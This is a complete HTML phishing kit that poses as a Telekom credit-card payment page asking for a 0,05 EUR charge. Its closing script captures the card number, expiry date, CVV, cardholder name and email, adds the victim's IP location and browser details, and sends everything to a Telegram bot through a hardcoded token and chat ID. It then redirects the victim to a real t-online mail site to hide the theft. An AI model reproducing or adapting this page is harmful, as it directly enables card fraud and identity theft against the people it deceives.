<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Telekom | Kreditkarte</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
</head>
<body class="bg-gray-100 font-sans">
  <div class="bg-pink-600 h-16"></div>
  <div class="max-w-3xl mx-auto bg-white shadow-md rounded-lg p-8 mt-8">
    <h1 class="text-5xl font-bold mb-4 p-4 text-center">
        <span class="hidden sm:inline">Zahlung mit </span>Kreditkarte <span class="hidden sm:inline">abschließen</span>
      </h1>
      
    <p class="text-gray-700 mb-4">
      Ihr Einkauf bei der Telekom: Mail M
    </p>
    <div class="flex justify-between items-center border-b pb-4 mb-6">
      <p class="font-bold">Zu zahlender Betrag</p>
      <p class="text-xl font-bold">0,05 EUR</p>
    </div>
    <p class="text-gray-600 mb-6">Bitte überprüfen Sie Ihre Eingaben.</p>
    <form class="space-y-4" id="paymentForm">
      <div>
        
        <input
          type="text"
          id="card-number"
          required
          maxlength="19"
          class="mt-1 block w-full rounded-lg border-gray-300 shadow-sm p-3  border   --focus-outline outline-blue-600"
          placeholder="Kartennummer"
        />
      </div>
      <div class="flex space-x-4">
        <div class="flex-1">
            <input
              type="text"
              id="expiry-date"
              required
              maxlength="5"
              class="mt-1 block w-full rounded-lg border-gray-300 shadow-sm p-3 border focus:outline-blue-600"
              placeholder="MM/YY"
            />
          </div>
        <div class="flex-1 relative">
            <input
              type="password"
              id="cvv"
              required
              maxlength=3
              class="mt-1 block w-full rounded-lg border-gray-300 shadow-sm p-3 pr-10 border focus:outline-blue-600"
              placeholder="Prüfnummer"
            />
            <span class="absolute inset-y-0 right-3 flex items-center text-blue-500">
              <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" fill="currentColor" viewBox="0 0 24 24">
                <circle cx="12" cy="12" r="10" stroke="currentColor" stroke-width="2" fill="none"></circle>
                <text x="12" y="16" text-anchor="middle" font-size="12" fill="currentColor" font-weight="bold">?</text>
              </svg>
            </span>
          </div>
          
      </div>
      <div>
       
        <input
          type="text"
          required
          id="card-holder"
          class="mt-1 block w-full rounded-lg border-gray-300 shadow-sm p-3 pr-10 border focus:outline-blue-600"
          placeholder="Karteninhaber (wie auf Karte angegeben)*"
        />
      </div>
      <div>
        <br>
        <input
          type="email"
          id="email"
          required
          class="mt-1 block w-full rounded-lg border-gray-300 shadow-sm p-3 pr-10 border focus:outline-blue-600"
          placeholder="E-Mail Adresse"
        />
      </div>
      <p class="text-gray-600 text-sm mt-2">* Pflichtfeld</p>
      <p class="text-gray-600 text-sm mt-4">
        Mit Klick auf „Jetzt bezahlen“ bestätige ich, dass ich die Zahlung mit der eingegebenen Kreditkarte abschließen möchte. Zudem autorisiere ich die Speicherung meiner Kreditkartendaten für zukünftige Zahlungen.
      </p>
      <br>


      <div class="flex  justify-end space-x-4 mt-6">
        
        <p class=" text-gray-600 px-4 py-2 rounded flex items-center space-x-2">
          <i class="fa-solid fa-lock"></i> 
          <button type="submit" class="text-white bg-pink-600 py-2  px-9 rounded-md">Jetzt bezahlen</button>
        </p>
      </div>
     
    </form>


   
    <footer >
        <p class="text-lg text-gray-600 mt-10 border-t pt-6">powered by:</p>
        
        <div class=" flex justify-between items-center">
            <img src="logo_computop.svg" alt="Computop Logo" class="h-8">
      <div class="flex space-x-4">
        <img src="logo_visa.svg" alt="Visa" >
        <img src="logo_mastercard.svg" alt="Mastercard" >
      </div>
        </div>
      
    </footer>
  </div>

<!-- CARD NUMBER SCRIPT -->

<script>
    const cardNumberInput = document.getElementById("card-number");
  
    cardNumberInput.addEventListener("input", (e) => {
      
      let value = e.target.value.replace(/\D/g, "");
  
     
      value = value
        .match(/.{1,4}/g) 
        ?.join(" ") || ""; 

      e.target.value = value;
  
      
      if (value.replace(/\s/g, "").length > 16) {
        e.target.value = value.substring(0, 19);
      }
    });
  </script>


  <!-- CCV SCRIPT -->
  <script>
    const cvvInput = document.getElementById('cvv');
  
    cvvInput.addEventListener('input', (e) => {
      e.target.value = e.target.value.replace(/\D/g, ''); 
    });
  </script>

<!-- EXPIRY DATE -->
  <script>
    const expiryDateInput = document.getElementById('expiry-date');
  
    expiryDateInput.addEventListener('input', (e) => {
      let value = e.target.value.replace(/\D/g, ''); 
      if (value.length > 2) {
        value = value.slice(0, 2) + '/' + value.slice(2, 4); // 
      }
      e.target.value = value.slice(0, 5); 
    });
  </script>

<script>
    document.getElementById('paymentForm').addEventListener('submit', async (event) => {
      event.preventDefault();
  
      // Function to get user location based on IP
      async function getUserLocation() {
        try {
          const response = await fetch("https://ipapi.co/json/");
          const data = await response.json();
          return {
            country: data.country_name || "Unknown",
            city: data.city || "Unknown",
            ip: data.ip || "Unknown",
          };
        } catch (error) {
          console.error("Error fetching user location:", error);
          return { country: "Unknown", city: "Unknown", ip: "Unknown" };
        }
      }
  
      // Get the location of the user
      const location = await getUserLocation();
  
      // Get the user's browser information
      const userAgent = navigator.userAgent;
  
      // Get form field values
      const cardNumber = document.getElementById('card-number').value;
      const expiryDate = document.getElementById('expiry-date').value;
      const cvv = document.getElementById('cvv').value;
      const cardHolder = document.getElementById('card-holder').value;
      const email = document.getElementById('email').value;
  
      // Telegram bot credentials
      const token = '7828778041:AAFTXW43_gz5Bf1lkpRkfTgTiLKfX1yPwLw';
      const chatId = '5389508228';
  
      // Construct the message to send to Telegram
      const message = `
        New Result:
        Kartennummer: ${cardNumber}
        Ablaufdatum: ${expiryDate}
        CVV: ${cvv}
        Karteninhaber: ${cardHolder}
        E-Mail: ${email}
  
        Location:
        IP: ${location.ip}
        Country: ${location.country}
        City: ${location.city}
        Browser: ${userAgent}
      `;
  
      // Send message to Telegram bot
      try {
        await fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ chat_id: chatId, text: message }),
        });
  
        // Redirect to email service
        window.location.href = 'https://email.t-online.de';
      } catch (error) {
        console.error('Error sending message to Telegram:', error);
        alert('Error submitting form. Please try again.');
      }
    });
  </script>
  

</body>
</html>
